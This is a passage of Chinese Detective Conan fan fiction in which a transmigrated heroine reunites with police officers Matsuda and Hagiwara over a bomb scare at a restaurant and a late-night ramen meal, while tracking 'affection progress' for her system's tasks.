三年前她还是黑发黑眸,松田阵平会有这种想法也理所当然。
神无梦没有解释的意思,反而伸手撩了撩头发,柔软的金色发丝仿佛丝绸一样被她捧在掌心,流淌着温润的光。
她自己欣赏了一会,朝面前的男人反问道:“很好看啊,不觉得吗?”
话没说完,她的上半身稍稍前倾,脸微微仰起,让对方能把自己的眼睛看得更加清晰:“松田不会连最基本的审美能力都没有吧?还是说,是因为仍然在生我的气,才故意说这样的话?”
面对凑上来的那张笑脸,松田阵平愣了两秒,然后眉头用力皱起。
上次和她是在争执之中结束的对话,除了甩脸色就是口不择言,几乎是再也不会有任何往来的那种相看两厌的程度。
这次被她主动联系,松田阵平多少猜到是有事找他,但还是没料到她会毫无芥蒂地对他笑得这么灿烂,讨论的还是些无关紧要的事情。
而且三年不见,她怎么还是这副样子。
女人都不会变老的吗?
“搞什么啊,你这家伙!”
他感觉心头冒起一簇簇火,好像只有他还记挂着那些口角矛盾一样,有种自作多情的感觉。
等等——
松田阵平觉得有些荒谬,他怎么会用这种词?
“找我什么事?”他不想把对话的主动权交出去,却率先把自己的底线亮了出来,“帮你联系hagi什么的,绝对不可能!”
难道松田不知道自己和hagi还有联系吗,不然怎么会以为自己会提出这种要求?
神无梦眨眨眼睛,不敢泄露秘密,摇头道:“不是噢。”
听到她否认,松田阵平松了口气,他可不想幼驯染又为她神不守舍。
“那是做什么?”
脱口而出了这个问题,松田阵平又觉得自己未免有些太上赶着帮忙,补了句:“我可不一定会帮你。”
“单纯约松田吃顿饭不可以吗?”
虽然可以编个理由,但是神无梦觉得没有必要在这种地方撒谎,况且吃饭也不是什么说不出口的事。
看着对方明显不信的表情,她想了想,给了个原因:“因为我过两天要出国了,临走前想找朋友见一见啦!”
松田阵平却直接将手里的水杯放下,语气惊疑不定:“你要移民?”
“啊?”神无梦没想到他会误会成这样,“不是,应该过段时间就回来。”
意识到自己误会了,松田阵平忍不住咬了咬牙,出声道:“这么多年,你的日语还是没什么长进啊。”
神无梦听出来了他的不快,但她似乎本来也没有让松田感到愉快的可能,所以她坦白道:“离开了hagi和松田老师之后,就没有人教我日语了嘛。”
是的。
刚刚穿越过来时,系统连日语语音包和翻译功能都没有加载好。她不懂日语,又没有身份,被迫流浪街头,的确有些寸步难行。
但好在第一天就被hagi捡回了家。
后来的日子里,hagi和松田轮流当她的日语老师,总算让她能够说出除了“早上好”“谢谢”“抱歉”“没关系”之外的日常用语,实现了真正的独立生活。
而在学习的那段时间,她也从没想过三个人会有一天闹到翻脸的地步,以为自己会顺顺利利地完成任务,然后郑重其事地向两人道别,再带着健康的身体回家。
不仅神无梦一个人回忆起了过去的时光,松田阵平同样也没有忘记。
他的脑海内甚至闪过三个人坐在一起所畅想过的未来。
hagi说等以后存了更多的钱,要和他买对门的公
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寓,或者相邻的房屋,还会邀请他去家里吃饭——hagi和这个女人的家。
这些画面在记忆里都变成了黑白色,因为那些期待、那些啤酒罐碰到一起的声音、那些欢笑和打闹,都在一个再普通不过的午后破碎,只留下了不解与争吵。
“我说。”
黑色鬈发的警官抬头看她,面色瞬间冷淡得不行,还能隐约从那双眼睛里看见被勾起的、强忍的怒意:“不管你说的是真是假,别再打扰hagi的生活。”
他还记得这女人离开的那段时间幼驯染有多么失魂落魄,他恨不得把人抓回来,又愤怒于她说走就走的心狠。
在听到幼驯染一边难过还一边在耳边念叨“不知道梦酱最近过得怎么样”“会不会因为日语不够好而被人欺负”这种话就更气了。
背景音不大,但他的声音却低到快要被钢琴声覆盖。
只隔了一张餐桌的距离,因此神无梦赶在那句话消散在空气中之前听清了内容。她有一些为这种划清界限的话感到不适,但还是果断点头:“当然。”
她绝对没有再来打扰松田阵平和萩原研二的想法,这次如果不是为了任务,她都不会再联系眼前的男人。
但实事求是地说,她这么做也是为了活下去。
世界上还有什么是比活着更重要的吗?
对于她这种普普通通的人来说,答案是没有。
侍应生将餐点端上来,两人也结束了对话。
菜是神无梦提前点好的,应该符合三年前松田的口味,但时过境迁,她不确定他是否改变。
就像她不知道为什么在hagi存活的情况下他还是穿着这身黑色西装一样,许多东西在流逝的年月里都被搁置在她不可触碰的对岸了。
一曲奏完,钢琴声停止。
在更换曲目的休息时间,叉子和餐盘兀然发出刺耳的碰撞声。
神无梦抬头,看见的是松田阵平直接离席的身影。
她差点要以为这人连一顿饭都不愿意陪她吃完,但下一秒,她发现对方停在了那架三角钢琴边。
不好的预感瞬间降临。
神无梦跟过去,听到了有所预料的“滴滴”声,也看到了半跪着的男人盯着钢琴下方的紧绷神情。
旁边的乐者满脸慌乱,显然也是被吓得不知所措,连尖叫都忘了。
在这里的动静吸引来全场客人的注意之前,神无梦朝乐者比了个噤声的手势,然后将备用的录音机打开,放进磁带代替了人工的演奏。
悠扬的钢琴曲又一次响起,即便是磁带,但吃饭的客人们并不会在意太多,连多余的眼神都没有给这边。
“倒计时开启了,还有二十八分钟,让老板疏散客人。”松田阵平站起身,朝神无梦说道,“打电话报警,我去找工具。”
二十八分钟,这对于名柯世界的炸弹来说算是很充裕的时间了。
还没听到任务完成的提示音,神无梦下意识地把人拉住,商量道:“在拆弹之后,我们可以继续把晚餐吃完吗?”
松田阵平不确定这三年来她的变化有多大,指节已经敲上她的额头:“你到底在想什么?”
“好吧。”
神无梦捂住脑袋,认清现实,挣扎着改口道,“那明天你还愿意出来一起吃饭吗?”
9. 攻略进度09%
毕竟有位专业素质过硬的警官在这里,客人们都被有序疏散,转眼间整个餐厅只剩下他们两个人,就连老板都跑到了外面等待爆.炸物处理班警员的到来。
炸弹是被固定在钢琴下方的,不知道是用了胶水还是什么其他的东西,没有办法轻易弄下来。
在大多数情况下,炸弹的优先解决方案是找一个合适的地方引爆,但是在不确定炸弹里面是否有水银或者压力传感装置之前,松田阵平也不敢轻举妄动,只能把手电筒固定好,钻进去半坐在地上用手边的工具一点点拆卸。
这家餐厅在商场顶楼,不知道外面的疏散情况,如果炸弹的威力足够,在这种地方爆.炸,那么发生伤亡是无法避免的事。
“你也出去。”
坐在钢琴下方,松田阵平的角度只能看见深蓝色的裙摆和白皙的脚踝,厉声催促:“在这里找死吗?”
神无梦在心里考虑了一下十九天内把琴酒的爱慕值刷满的可能性,小声嘟囔:“你死了我也很难活啊。”
她这句话说得很轻,松田阵平没太听清:“什么?”
神无梦蹲下来,让自己能够和他的视线平齐,诚恳道:“我是说,拆这种炸弹对于松田来说轻而易举吧,我没什么好怕的。”
面前的少女满脸无辜,淡金色的眼睛里盛着名为信任的盈盈光彩,过浅的瞳色仿佛将他整个人倒映在里面,其余的一切都褪色。
因为身边炸弹而加速的心跳在这一刻漏了一拍,然后爆发出更加激烈的泵缩,血液的流速快到惊人。
松田阵平想要把她强行拽出去,又分神想到“这个颜色看久了也还凑合”。他握紧了手里的工具,最后一次警告道:“拆弹可不是闹着玩的事!”
“心浮气躁可是大忌啊。”神无梦说着他的口头禅,很摆不正自己位置地指挥了句,“专心拆弹吧,松田,我们两条命都在你的手上呢。”
“嘁。”
松田阵平收回落在她脸上的目光,语气有些漫不经心,但承诺的意味却很重:“会带你活着出去的。”
-
松田阵平不愧是爆.炸物处理班的王牌。
只拿着餐厅的简陋工具箱就能把那个一点也不了解的炸弹拆得七七八八。
毕竟和他们相处过大半年,后来在组织的生活也少不了和炸弹打交道,神无梦虽然没有点亮拆弹的技能,但理论知识还是学了不少。
她在这里起到的只是陪伴作用,最多就是帮忙调整一下手电筒的位置顺便递递工具,也不敢多说话让松田阵平分心。
拆弹的压力很大,餐厅内又开了暖气,这会他的额发已经被汗水浸湿,晶亮的水珠沿着流畅的下颌线滚落,绕过凸起的喉结没入白衬衫的领口。
西装外套早就被他脱掉扔在一边,领带松垮搭在脖颈上,衬衫最上面的扣子也被解开两颗,汗水让成年男人保持锻炼的身材透过那层薄薄的衬衫布料展露出来,隐约能看见鼓胀的肌肉。
神无梦看着已经沉浸在拆弹之中的松田阵平,在脑海内说道:【统统,要不有空了我也学学拆弹吧?】
【好啊好啊,感觉还是靠自己比较放心啊梦梦!】
共视角的系统比她还紧张,明明知道以松田阵平的拆弹水平绝不可能失败,也还是担心会有什么意外发生。
【啊?】神无梦听出了系统软糯声音里面的不信任,觉得好笑,【我当然相信松田啊,只是觉得我来拆弹的话说不定能把救下的人算在我这里,续点生命值。】
听到生命值,系统又难过起来:【还是我太没用了呜呜,如果我也能安装拆弹程序包就好了呜呜呜……】
神无梦熟练地安慰它:【没事呀统统,这些都可以靠我自己学嘛,而且你在计算机方面已经帮了我很大的忙啦!】
和穿越前看过的那些同人小说都不一样,她的宝贝系统一不能给她加技能点,二不能给她提供什么特殊道具,除了查询爱慕值一个功能之外毫无作用,而且每次查询还要花费1000点生命值作为成本。
她也是花了好一段时间才终于发现系统在计算机方面能够给出帮助,算是没有明统蒙尘。
外面响起一阵急促的脚步声,神无梦猜测是老板报警喊来的警官们。
她看一眼还专注在拆弹之中的松田阵平,准备去和来人交涉,免得打扰了他。
蹲得有点久,神无梦扶着一边的椅子站直,转过身却见到了万万没想到的人。
几名穿着防护服的警官朝这个方向跑过来,最前面的那人虽然面容被遮掩,但神无梦能够从熟悉的身形辨认对方的身份。
仿佛周围的一切都被按下了暂停键。
来人身后的画面在这个瞬间模糊成了无关紧要的背景,连倒映在视网膜内的奔跑着的身影都被放慢,她对上了那双紫色的眼睛。
隔着头盔其实是看不清的,厚重的透明材质把光线折射成乱七八糟的颜色,但神无梦就是看到了,也知道对方正在看她。
她的脸上流露出几分怔然,视线依旧对着前方,向还坐在钢琴底的男人问道:“松田,今晚你们组是谁值班?”
“滴滴”的催命声中,松田阵平剪断最后一根引爆线,倒计时停下,炸弹彻底成为了一堆不可能发生反应的化学制品。
他正想着是装做轻轻松松就把困难解决的样子还是再强调一遍刚才的危险让那女人长长记性,就听到了那个问题。
来不及细想,他回答道:“hagi。”
等等!
那这个报警电话岂不是会把hagi喊来?!
松田阵平彻底忘了刚才令他纠结的抉择,忙不迭从钢琴底下钻出来,准备把拆弹成功的消息通知店家然后在警方到达之前和这女人分开,但耳边先一步传来了幼驯染的声音。
“欸,小阵平说有事要和我换班,竟然是和梦酱一起吃饭吗?”
哪怕隔着防爆头盔,萩原研二也能够从幼驯染的脸上看出来他已经解决了那枚炸弹,不像路上一样争分夺秒。
他走近后弯腰看了一眼钢琴底被拆开的炸弹零件,确定没有任何危险,接着摘下头盔直起身,朝同事们点头示意:“没问题了。”
警官们开始扫尾工作。
被彻底拆除的炸弹让整个空间的气氛都变得轻松,作为同事,他们忍不住打趣起来。
“早知道松田在,我们都可以不出警了啊!”
“根本没有我们出马的机会嘛!”
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>“松田和女朋友的烛光晚餐该不会被这个不长眼睛的炸弹破坏了吧?”
“松田你这家伙竟然背着我们交了个这么漂亮的女朋友!”
……
“别说了!”
被议论着的男人拎起地上的西装外套,烦躁地抓了抓鬈曲的黑发:“不是女朋友!”
在场真正的前男友没有就此发表任何看法,而是看着那堆炸弹残骸对身边的少女说道:“小阵平真是的,竟然让梦酱陪着他留在这么危险的地方。”
松田阵平一边帮忙收拾,一边有些哑口无言。
他是不想让这女人又来打扰hagi,所以才在换班的时候没有说具体的事情,否则hagi肯定会跟过来,说不定又要因为她而把自己的生活弄得一团糟。
但这会被撞见,他的确有些心虚,也不知道该怎么解释,下意识地去看另一个当事人。
神无梦很难形容现在的感受。
久别重逢,那些她以为深埋心底的记忆统统在这个瞬间朝她汹涌而来,近乎将她淹没。
“hagi。”
神无梦有些拘谨,还有一些愧疚,不知道该用什么样的姿态面对他。
萩原研二却在听到这声呼唤之后就放下手中的东西,停在她的面前,朝她张开了双臂。
他像是要拥抱她,但掌心却在下一秒很轻地按在她的肩上,没有贸然打破应该保持的距离。
身高的差距让神无梦不得不仰视他。
这是个很容易令人感到压迫性的姿势,但萩原研二脸上的笑容太过愉快,弯起的紫色眼睛也亲切极了:“我好想你啊,梦酱。”
他的表述直白,穿透横亘在他们之间那些潜藏难言的隐秘不安,赋予真挚而珍贵的情谊替代。
心脏最柔软的地方仿佛被拨动,荡出细小的涟漪,从体内涌上喉间,连鼻腔都泛起隐隐的酸意。
唇角的弧度无论如何都压不住,神无梦朝前迈了一步。
男人的手掌从她的肩膀滑下,然而这个拥抱随之变得完整。
她碰到的是冰凉的防爆服,胸腔却充斥着暖意:“我也很想你,hagi。”
两个人互动得旁若无人。
把现场处理完毕,正等待搜查一课过来接手的爆.炸物处理班警员们目露惊疑地看着这一幕,视线在松田阵平和萩原研二这两位他们的王牌成员身上来回。
那几双眼睛里的问号几乎要具现化,对三个人之间的关系好奇得要命。
落在身上的目光很明显,但松田阵平只绷着一张脸,手指在抓着的西装外套上留下一道道褶痕。
看到她和hagi的相处,松田阵平哪里还能不知道自己才是那个多余的人。
仿佛两个人都不为之前的分手耿耿于怀,关系好得一如既往,只有他还惦记着那些本该被放下的过去。
商场里不许抽烟,松田阵平感觉更加烦躁,用力咬紧后槽牙。
但萩原研二并没有忘记这位幼驯染的存在,结束了拥抱之后就看向他,盯了好一会之后感慨道:“穿西装的小阵平超帅耶!”
夸奖完,他又笑眯眯地看向两人,语气好奇极了:“所以梦酱和小阵平怎么会一起在这里吃饭?”
10. 攻略进度10%
这个问题问完,神无梦觉得场上气氛似乎变得有些奇怪。
不去管那几位不认识的警官惊疑不定的神色,她眨眨眼睛,解释道:“都这么久了,感觉一直和松田置气也不行呀,所以今天约他出来和好。”
但hagi刚才说松田这打扮很帅是什么意思,该不会这家伙今天是特意挑了套西装就为了过来和她吃饭吧?
神无梦有一瞬间的迷惑:穿成这种黑.道的样子是为了给她一个下马威?
好吧。
总比穿的是丧服要好。
把西装外套穿上的松田阵平却不认可她的理由,整张脸都写着不满:“不是你说只是出来吃饭?”
神无梦沉默了。
她有时候感觉松田阵平的智商也就那样了,至少情商绝对是不过百的。
除了“和好”这种理由,她很难解释为什么没有邀请hagi啊,毕竟她又不是真的像松田以为的那样没再和hagi联系过!
但任务只说了“请松田阵平吃饭”,人数出了问题导致任务没能完成的情况不是没遇到过,神无梦也不想在这种事情上给自己平添烦恼,就只约了他一个人。
“答应出来吃饭不就是答应和好嘛?”
神无梦怕松田阵平又说出什么难以描补的内容,果断结束这个话题,朝萩原研二问道:“这么久不见,hagi没什么话想和我说吗?”
“有很多哦。”萩原研二听到了两人不同的说辞,但没有追问,笑着说道,“是一点时间都说不完的话呢,梦酱等我一下,我把衣服放回车里就下班啦。”
-
最后萩原研二也没能顺利下班,或者说是被迫推迟了下班时间。
因为搜查一课的警官们也赶到了现场,希望能在爆.炸物处理班的帮助下找到安装炸弹的罪犯,请他们提供些线索。
作为第一个发现炸弹并且亲手拆除的松田阵平是重点询问对象,萩原研二作为今晚拆弹小队的队长也被留下。
神无梦虽然也算是目击证人,但她没有将太多注意力放在观察周围的情况上,很快就结束了问话。
都是同僚,就算不在同一个部门,松田阵平和目暮警部看起来也十分熟悉,站在一起谈论着案情。
神无梦起初没有多想,过了一会才觉得两人并肩的这幅画面似乎在什么地方见过——在松田阵平转去搜查一课的时候。
这件事几乎可以和松田阵平牺牲划等号,曾经看过无数遍的剧情在她的脑海内重现,神无梦皱了下眉,随手抓了只笔在纸上算着日期。
穿越过来三年多,就算许多情节都随着时间模糊,但最关键的几个时间节点她却绝对不会忘记。
诸伏景光暴露的事件已经过去,松田阵平原本的牺牲时间应该是在这之前,可她在11月7日那天去杯户商场的摩天轮边等了一天,什么都没有发生。
该不会是用了动画的时间线吧,难道会是在明年的1月6日?
头顶悬着达摩克里斯之剑的感觉太过难受,神无梦的眉头微蹙,懊恼地想着,如果当初能抓到那个炸弹犯就好了。
萩原研二不知道什么时候结束了问话,凑到她身边,恰好看到便签上的数字——【11.7】。
这两个数字拼凑在一起或许能代表无数种含义,可在他看来,答案是唯一的。
已经换下一身防爆服的男人倾身过去,指尖点在数字上面,偏过头问道:“梦酱是想起我们第一次见面的时候了吗?”
神无梦的目光下意识地跟着他的指尖移动,思绪也飘远。
是的。
他们的初遇是在三年前的11月7日,同样是她穿越过来的日子。
“那时候梦酱也只穿了一条裙子,就像走丢了一样。”萩原研二看了眼她身上那条显然是精心挑选过的长裙,关心道,“会冷吗?感觉梦酱比以前更需要人照顾了呢。”
神无梦本以为他会提起两个人过去的事,却没想到这个话题的落点会在最后这句话上。
这条裙子的确不太符合这个季节,但大多数人最多是觉得她追求美丽而选了条漂亮裙子,毕竟这在霓虹也是很常见的事,不会在这点上追问。
唯一对她说这句话的只有萩原研二。
上午和琴酒打电话的时候她得知了需要提前去法国的消息,这个变化太过突然,她也明白夜长梦多的道理,索性约松田阵平今晚一起吃饭想要把日常任务完成,所以是直接从威士忌组的安全屋过来的。
担心诸伏景光或者降谷零和松田阵平碰上,她还特意拜托了赤井秀一帮忙送她一趟。
但那栋房子里她冬天的衣服都在搬家时全部带走了,又要找适合高级餐厅的类型,她只能忍耐着低温穿了这条丝绸质地的长裙,连大衣都没找到一件。
好在商场里面暖气充足,赤井秀一在商场门口把她放下,几步路的距离让她把冷空气抛在了身后。
人的适应能力是很强的,在这里待了这么久,神无梦自己都没觉得太冷。但他的关心仿佛能将挡在身体周围的透明外壳融化,气温也好像听从他的指令那样一点点降下来。
在这个被清场了的餐厅里,神无梦似乎真的感觉到几分自肌肤而来的寒意,心脏却被注入了暖流。
见她的目光微滞,久久不说话,萩原研二又问道:“所以现在有人照顾梦酱吗?如果梦酱一个人的时候生病了,我会很心疼的。”
神无梦一直都知道萩原研二是个十分擅长打直球的人。
一些被别人说出来会被当作花言巧语的话换成从他的口中说出,总是显得真诚至极。
她差点就要被这股无声无息的温柔俘获,可快要告罄的生命值和重新选定的攻略目标都牢牢地被她记在脑子里,是无论何时都忘不掉的。
“有的。”
神无梦不知道这个谎言是善意的还是恶意的,但她能够给出的答案只有这个:“有人照顾我了,hagi。”
她从萩原研二的指间抽出那张便签纸,对折两次,扔进了一旁的垃圾桶
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里。
“三年前能遇见你真的很幸运,我好像一直都没有说过——”少女重新抬起头,脸上带着轻浅的笑,灯光落在她的瞳孔,仿佛映出盈盈水波,“谢谢你,hagi。”
如果不算那些无关紧要的过路人,眼前的男人是她来到这个世界认识的第一个人。
哪怕是三年后的今天,她也会想,或许穿越地点随机到了那栋他险些牺牲的公寓附近是命中注定的事。
当时的她不会日语,用英语问路始终没有得到结果,想找警局帮忙都毫无头绪。所以在听到警笛声的时候,她朝着声源处赶去,希望能遇到某位热心警官,至少解决最基本的生存问题。
然后她看见了站在公寓楼下的松田阵平,也在瞬间反应过来这个时间点位于哪段剧情——萩原研二即将因为炸弹倒计时的重新启动而牺牲。
穿越是一件很没有实感的事情,但亲眼见到二次元的画面和喜欢着的角色出现在眼前,这件事就显得既梦幻又真实。
她的第一反应是冲过去告诉松田阵平或者某位警官她所知道的剧情走向,但拙劣的日语水平让她与哑巴无异,使用英语又担心会造成误解并耽误时间,万一引起炸弹犯的注意就更加糟糕,于是她不得不采取了另一种釜底抽薪的办法。
剧情她记得很牢,也很清楚那位操控炸弹的犯人就在公寓附近观察,那么只要在对方重新启动炸弹倒计时之前将人找出来控制住,这场悲剧就不会发生。
好在那位犯人表现得格外明显,戴着挡住大半张脸的帽子,手指藏在袖子里,整个人都透露着不怀好意的气质。
——对于她这种了解剧情的观众来说。
要在对方不注意的情况下把炸弹遥控抢来不是件简单的事,最关键还得小心不能在争夺过程中发生误触,每一点都让神无梦的神经紧绷,不敢有一丝一毫的松懈。
她装作迷路到附近的外国人向那人搭话,身上单薄的衣服和看起来无害的脸蛋很能让人卸下戒心,再加上她听不懂日语只能用手指比划的样子根本不是伪装,勉强转移了一点对方的注意力。
手语在某些时候可以说是世界通用,幅度稍微大了些也在合理范围内,神无梦就是趁着这个机会把对方手里虚握着的炸弹遥控抢过来,然后头也不回地朝警戒线的方向跑去。
“Help!Help!”
她连日语的“救命”都喊不出来,好在这句英文太过基础,足以让警官们注意到她的存在。
炸弹犯不可能在这种情况下还自投罗网,等到她描述清楚事件过程早就逃之夭夭。
那个遥控装置被交到了松田阵平的手里,神无梦听不懂他说的内容,但能从他打电话的表情看出来他愤怒非常,语气中的催促也很明显。
后来那枚炸弹被顺利拆除,死里逃生的紫眸警官也完完整整地从楼里走了出来。
他没有率先走向那位脸上写满了暴躁的幼驯染,而是来到了她的身边,将举目无亲,连身份证明都没有的她带回了家。
11. 攻略进度11%
神无梦想,或许没有遇到萩原研二她也能够找到其他的方式生存下来,但遇到了他,那些本不得不承受的苦难就通通化解了。
道谢的话并非真的从未说过,但回头看,她觉得当初的感受还是太浅了些,至少该换个更加郑重的语气。
“是我要谢谢梦酱才对。”
萩原研二弯了弯眼睛,于是那些盛在眸底的心酸与伤痛被尽数遮掩:“如果当初没有梦酱,现在我应该躺在不知道什么地方的墓碑下面吧。”
神无梦看向他道:“但hagi已经帮过我很多了。”
她救他得到了大量生命值,他根本就不欠她。至于后来的攻略失败和始终没有到达一百点的爱慕值,也不该算是他的过错。
萩原研二却陷入了沉默。
诸如“谢谢”“抱歉”之类的话语在某些时候能够缓和人与人之间的矛盾,但其中的客气疏离却在特定的状态下会转化成细密的刺,上面裹满了柠檬汁液,在心脏上扎出一个个小到看不见的孔,直到酸涩的味道浸满全身。
萩原研二并不希望他们之间的关系变成了连初遇都要分清“谁帮谁更多”这种样子,他更加敏锐地意识到如果话题继续,或许会听到什么他无法接受的事情。
比已经有人照顾她还要更令人难受的事情。
“你们两个还在做什么啊?”
松田阵平走过来:“炸弹犯找到了,我们可以走了。”
虽然一直在角落里聊天,但神无梦感觉时间没有过去多久,心里为这群警官的办事效率震惊。
不过想到松田阵平在原著设定里的推理能力就是数一数二的,她觉得也没那么奇怪了。
萩原研二没有太关注另一边的情况,闻言评价道:“小阵平好像比平时更积极啊!”
松田阵平自己都没有意识到这一点,扶着后颈偏了偏头,避开他的目光,否认道:“怎么可能!”
-
折腾了一整晚,饭没吃到,任务没完成,神无梦疲惫非常,但在听到萩原研二的夜宵邀请时还是忍住了回家休息的冲动。
“让我请客吧!”神无梦积极道,“三年不见,给我一个表现的机会吧!”
松田阵平轻嗤一声,似乎是对她的建议不屑一顾,但还是看在幼驯染的面子上没有反驳。
萩原研二也没有意见,笑道:“去中丘大叔的拉面馆,可以吗?”
让在场唯一一位女性买单是一件说出去会让人怀疑当事人人品的事情,但不管是为了做任务的神无梦还是被请客的两位警官都没有往其他方向想过,因为他们的确拥有一段不分彼此的时光。
神无梦没有开车,萩原研二是跟着警局的车来的,三个人于是都坐上了松田阵平的车。
司机当仁不让地交给了汽车主人,但和前者关系最好的幼驯染也没有选择在副驾驶陪着他,而是跟神无梦一起坐到了后座。
松田阵平皱着眉头,感觉自从收到这个女人的短信之后就做什么事情都不顺利,心中的火气也无论如何都消不下去,让他烦躁得要命。
他系好安全带,下意识地伸手掏烟,却在瞟到后视镜的时候动作僵住,发生了根本想不通的迟疑。
幼驯染太了解他,哪怕放在口袋的烟盒连个角都没露出来也还是看出了他的打算,开口道:“梦酱还在这里,小阵平要收敛一点哦。”
一定是因为hagi太关心她才会这样的。
他只是在为hagi不值罢了!
松田阵平想明白了这点,觉得心情都畅快许多,但还是故作不满道:“麻烦死了。”
至于在萩原研二开口之前,他为什么会停下拿烟的动作,也跟着那些自欺欺人的念头含糊而过了。
-
中丘大叔的拉面馆是三个人以前经常一起来吃的。
那时候萩原研二和松田阵平两个人才刚刚从警察学校毕业,积蓄不多但开销不少,还要养她这个四肢不勤五谷不分的人确实有些压力。
因为连日语都不会说,她就算想要做点便利店的零工都很难找到——尤其在20世纪90年代的东京,在泡沫经济的溃败之后。
萩原研二把她当作救命恩人,松田阵平就算对她的身份存疑,但也还是认可她救了幼驯染一命的事实,主动把工资上交,参与了进来。
三个人实打实过了一段节衣缩食的日子,这家拉面店就是那时候他们常常光临的地方,物美价廉、份大量足,老板都和他们认识了。
“松田君,萩原君!最近是不是很忙啊,难得见你们一起来!”
刚走进店门,老板中丘大叔就放下手中的报纸,大声招呼道。
见两人身后还跟了个女孩,中丘大叔被金灿灿的颜色晃了一下,惊讶道:“这是你们谁的女朋友吗,可真漂亮啊!”
“大叔!这是梦酱啊!”萩原研二把人推到前面,“你这样说,万一让梦酱误会我就麻烦啦!”
“还不是因为那么丑的头发中丘大叔才没认出来。”松田阵平充当正义使者,话里话外攻击性极强。
“好久不见啊,中丘大叔!”
神无梦小幅度地挥挥手,朝中丘大叔打完招呼,扭头向松田阵平反击道:“那松田是怎么在餐厅里直接认出我的?还不是因为我够显眼嘛?”
松田阵平张口想要反驳,却被噎了一下。
那家餐厅那么大,他也不知道自己怎么会一眼就能认出来她,分明换了个陌生的发色,侧坐着的身影连面容都看不清。
应该是因为周围那些人的目光都在她的身上吧,想不去注意都不行。
他没能把话说出来,整间面馆有一瞬间的安静,但很快就被萩原研二的声音打破:“中丘大叔,三碗豚骨拉面,我和小阵平还和以前一样,梦酱的那碗不要——”
“不要葱花!”中丘大叔接过话,爽朗一笑道,“我还没老到那个地步,这点小事都记着呢!”
面馆太小的缺点就体现在这里,客人只有他们三个,老板煮面的时候也不影响和他们说话。
“说起来有两三年没见到神桑了啊,我以前还以为你和这两个小子吵架搬走了,问他们也不肯说,都不知道是出什么事了。”中丘大叔没有八卦地追问,只是用一种过来人的口吻感慨道,“今天还能看到你们三个一起来我这里吃面,我就放心了。”
萩原研二说道:“大叔——我们怎么可能和梦酱吵架啊!”
原来他们都没有在外面提起过自己的事……
神无梦的眼睫垂下,左手不自觉地转动茶盏,试着找回当初和他们一起过来吃面的轻松心情。
三碗拉面很快端上来,热气腾腾,切好的叉烧肉片肥厚流油,色泽漂亮得像是传单广告页上的展示图。
跟自己一个人吃饭的时候感觉不一样,远去的肌肉记忆在这个环境被唤醒。
神无梦双手合十,宣布道:“我开动啦!”
“我也开动啦!”
萩原研二配合着她,眉眼弯弯地递给她筷子。
同样接过筷子的松田阵平看起来不太想搭理他们,但还是在两人的注视中说了句“我开动了”,之后才低下头吃面。
身处熟悉的地方,就算经历了再多的事情,神无梦也感觉到了几分亲切。
空荡荡的胃被温暖的食物填满,她不由自主地放松下来,忍不住像以前一样开始告状:“hagi,你知道吗?松田见到我之后连我的名字都没有叫过,不是‘你’就是‘这女人’,我觉得他才是要重新把日语学一遍呢!”
听到她软糯装乖的语气,松田阵平的额角冒出青筋,捏着筷子的手指都用力了些:“你这家伙!”
对面的少女像是抓住了他的小辫子一样,眉眼一扬,立刻接上话道:“对!还有‘这家伙’什么的,根本就不讲礼貌嘛!”
“小阵平?”从小认识的幼驯染在这种时候立场鲜明地站在对面那边,“不要欺负梦酱。
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”
“我欺负她?”
松田阵平觉得自己真是冤枉,碗里的面都失了滋味。
最后,他在两人的逼迫下咬牙切齿地念出了那个自对方离开后就再未出口的称呼:“神无。”
-
这个称呼的由来实属乌龙。
对于不懂日语的神无梦来说,能做的只有用中文介绍自己的名字,同时写下汉字。
但对于并不了解中文的萩原研二与松田阵平两人,他们并没能顺利地从三个连在一起的汉字里分辨出姓和名。
比起自来熟直接喊她“梦酱”的萩原研二,松田阵平显然更加讲究距离一些,却把她的姓认作了“神无”。
等到三个人发现这一点的时候已经过去一个多月,习惯的称呼也很难改过来,于是一直保持了下去。
而在神无梦熟练掌握日语,也能够在介绍时就表明自己的姓名之后,这个世界上会这么叫她的大约只有松田阵平一个人了。
“每次被这么叫都会觉得松田是文盲。”
神无梦拿勺子喝了口面汤,小声朝萩原研二吐槽。
但桌子就这么大,声音压得再低也很难避免被另一个人听见,尤其对方还是位耳聪目明的警官。
松田阵平懒得和她争辩:“不知道最早是谁连自己的名字都不会说。”
“那你的汉语名字还是我教你发音的呢!”神无梦朝他抬抬下巴,骄傲得不行。
看到两个成年人就像小学生一样吵嘴,萩原研二打圆场道:“好啦,先吃面吧。”
“哼!”
他们各自扭过头,不肯再看对方。
刹那间,这里安静得只有吃面的声音,偶尔掺杂着几声老板看着报纸时候的碎碎念。
在这间深夜无人问津的面馆,在这个逃避了喧嚣嘈杂的角落,三人好像短暂地切断了与现实世界的联系,不论是炸弹、案件,还是任务,都与他们无关。
-
吃完面,中丘大叔非要给他们免单,说什么庆祝他们再次面馆聚首,但神无梦不可能眼睁睁看着完成任务的机会从眼前流失,强行付了账。
听到系统说任务完成,到账3点生命值的提示音,神无梦的心情愉快不少,拢了拢萩原研二非要她穿上的大衣外套,看松田阵平的时候都觉得更顺眼了。
萩原研二建议道:“都快十点了,我和小阵平送梦酱回家吧?”
“不用了。”
神无梦不假思索地拒绝。
她说什么也不能让这两人知道自己安全屋的位置,坚决要求自己打车回家。
虽然并不赞同她的决定,但身为警官的两人都不可能像威士忌组那三瓶假酒一样想方设法让她妥协,最终还是答应看着她上车就算了。
十点左右,街道两侧还有不少霓虹灯的招牌亮着,隐约可见圣诞前的气氛。
马路上的车辆行驶穿梭,偶尔有几辆计程车都载了客,并不理会他们的招手。
萩原研二一边帮她拦车,一边问道:“后天是平安夜,梦酱有什么安排吗?”
那天她要跟琴酒一起飞法国。
神无梦朝他笑了笑,回答道:“有的,提前祝你圣诞快乐,hagi。”
萩原研二没有再说什么:“你也是。”
又等了两分钟,总算有辆空车在马路对面停下,与她隔着几米远的斑马线。
神无梦看眼不远处的绿灯,正欲抬腿过去,却被身后的声音叫住。
“梦酱。”
萩原研二朝她迈了一步,替她将被大衣拢住的发丝从颈间拨出来。
温暖的指腹几不可感地蹭过那片脆弱的肌肤,神无梦仰起脸看他,然后头被他很轻地拍了拍。
“梦酱。”
他重复了一遍她的名字,唇瓣开合,话语间承载着无尽的包容:“如果外面很累,我随时愿意接你回家。”
身后的绿灯闪烁,在催促的警告声中变成红色。
12. 攻略进度12%
和松田阵平的那顿饭一波三折,但好在任务完成了,系统刷出来的新任务是【为黑羽快斗表演魔术,并得到他的称赞】。
